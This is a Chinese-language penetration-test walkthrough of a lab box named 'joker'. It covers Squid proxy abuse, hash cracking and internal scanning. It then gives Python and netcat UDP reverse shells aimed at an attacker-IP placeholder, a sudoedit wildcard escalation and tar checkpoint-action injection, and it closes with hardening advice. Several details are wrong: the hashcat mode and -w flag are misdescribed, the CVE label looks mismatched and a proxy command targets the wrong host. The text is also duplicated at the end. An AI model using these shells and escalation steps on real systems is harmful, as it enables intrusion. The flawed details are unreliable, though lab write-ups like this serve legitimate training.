记一次对joker的渗透测试
字数 966 2025-08-23 18:31:34

Squid代理渗透测试与提权技术详解

1. 信息收集阶段

1.1 端口扫描

使用nmap扫描发现3个开放端口:

  • 22端口:OpenSSH服务
  • 69端口:TFTP服务
  • 3128端口:Squid代理服务

1.2 TFTP服务利用

通过69端口TFTP服务下载到Squid配置文件:

tftp <目标IP> -c get /etc/squid/passwords

1.3 密码哈希破解

使用hashcat破解Squid配置文件中的密码哈希:

hashcat -m 1600 passwords -a 0 -w3 /usr/share/wordlists/rockyou.txt --user

参数说明:

  • -m 1600:指定哈希类型为NetNTLMv2
  • -a 0:直线攻击模式(字典攻击)
  • -w3:使用3个线程并行攻击

成功获取凭证:kalamari:ihateseafood

2. Squid代理利用

2.1 代理认证

使用获取的凭证通过Squid代理访问内部网络:

curl -U kalamari:ihateseafood -x <目标IP>:3128 http://127.0.0.1

2.2 内部端口扫描

通过代理扫描内部开放端口:

for i in {1..65535}; do 
  curl -s -U kalamari:ihateseafood -x 10.129.1.116:3128 127.0.0.1:${i} | grep -q "Squid Error" || echo "$i"; 
done

发现80端口开放

2.3 Web漏洞扫描

使用nikto通过代理扫描:

nikto -h 127.0.0.1 -useproxy http://10.129.1.116:3128

2.4 目录扫描

使用dirb通过代理扫描:

dirb http://127.0.0.1 -p 10.129.1.116:3128 -P kalamari:ihateseafood -r

3. 初始访问

3.1 Python代码执行

发现网站使用Python,尝试执行Python代码:

import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('攻击者IP',80))

3.2 网络限制测试

测试出站连接限制:

os.system('ping -c1 攻击者IP')

使用tcpdump监听ICMP响应:

sudo tcpdump -ni tun0 icmp

发现防火墙限制:

  • 仅允许UDP协议出站

4. 反弹Shell

4.1 UDP反弹Shell

Python版本:

#!/usr/bin/python
import subprocess
subprocess.Popen(['python', '-c', 'import os; import pty; import socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("攻击者IP", 1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/sh"); s.close()'])

Bash版本:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -u 攻击者IP 1234 >/tmp/f

5. 权限提升

5.1 sudoedit漏洞利用

发现sudoedit存在通配符漏洞(CVE-2017-1000367):

sudoedit /home/alekos/.*/.*/.*/.*/.*/.*/.*/etc/shadow

利用步骤:

  1. 生成SSH密钥:
ssh-keygen -t rsa -b 4096
  1. 将公钥写入目标系统
  2. 通过SSH登录获取更高权限

5.2 定时任务提权

使用pspy发现定时执行的tar命令:

scp -o ProxyCommand="nc -x 攻击者IP:3128 %h %p" pspy 目标用户@目标IP:/tmp/

发现定时执行:

tar cf /var/backups/alekos_backup.tar *

利用tar的checkpoint特性:

touch -- "--checkpoint-action=exec=sh shell.sh"

或对于Python版本:

touch -- "--checkpoint-action=exec=python shell.py"

6. 安全建议

  1. TFTP服务加固

    • 限制可访问的文件路径
    • 设置严格的访问权限
  2. Squid代理加固

    • 使用强密码策略
    • 限制代理访问范围
    • 定期更新Squid版本
  3. sudo配置加固

    • 避免在sudoedit中使用通配符
    • 限制sudo权限到最小必要范围
  4. 定时任务加固

    • 使用绝对路径执行命令
    • 避免在敏感目录执行压缩操作
    • 监控关键目录的文件变更
  5. 防火墙策略

    • 实施最小权限原则
    • 记录和监控异常出站连接
  6. 系统审计

    • 定期检查系统日志
    • 监控特权操作
    • 实施文件完整性监控
Squid代理渗透测试与提权技术详解 1. 信息收集阶段 1.1 端口扫描 使用nmap扫描发现3个开放端口: 22端口:OpenSSH服务 69端口:TFTP服务 3128端口:Squid代理服务 1.2 TFTP服务利用 通过69端口TFTP服务下载到Squid配置文件: 1.3 密码哈希破解 使用hashcat破解Squid配置文件中的密码哈希: 参数说明: -m 1600 :指定哈希类型为NetNTLMv2 -a 0 :直线攻击模式(字典攻击) -w3 :使用3个线程并行攻击 成功获取凭证: kalamari:ihateseafood 2. Squid代理利用 2.1 代理认证 使用获取的凭证通过Squid代理访问内部网络: 2.2 内部端口扫描 通过代理扫描内部开放端口: 发现80端口开放 2.3 Web漏洞扫描 使用nikto通过代理扫描: 2.4 目录扫描 使用dirb通过代理扫描: 3. 初始访问 3.1 Python代码执行 发现网站使用Python,尝试执行Python代码: 3.2 网络限制测试 测试出站连接限制: 使用tcpdump监听ICMP响应: 发现防火墙限制: 仅允许UDP协议出站 4. 反弹Shell 4.1 UDP反弹Shell Python版本: Bash版本: 5. 权限提升 5.1 sudoedit漏洞利用 发现sudoedit存在通配符漏洞(CVE-2017-1000367): 利用步骤: 生成SSH密钥: 将公钥写入目标系统 通过SSH登录获取更高权限 5.2 定时任务提权 使用pspy发现定时执行的tar命令: 发现定时执行: 利用tar的checkpoint特性: 或对于Python版本: 6. 安全建议 TFTP服务加固 : 限制可访问的文件路径 设置严格的访问权限 Squid代理加固 : 使用强密码策略 限制代理访问范围 定期更新Squid版本 sudo配置加固 : 避免在sudoedit中使用通配符 限制sudo权限到最小必要范围 定时任务加固 : 使用绝对路径执行命令 避免在敏感目录执行压缩操作 监控关键目录的文件变更 防火墙策略 : 实施最小权限原则 记录和监控异常出站连接 系统审计 : 定期检查系统日志 监控特权操作 实施文件完整性监控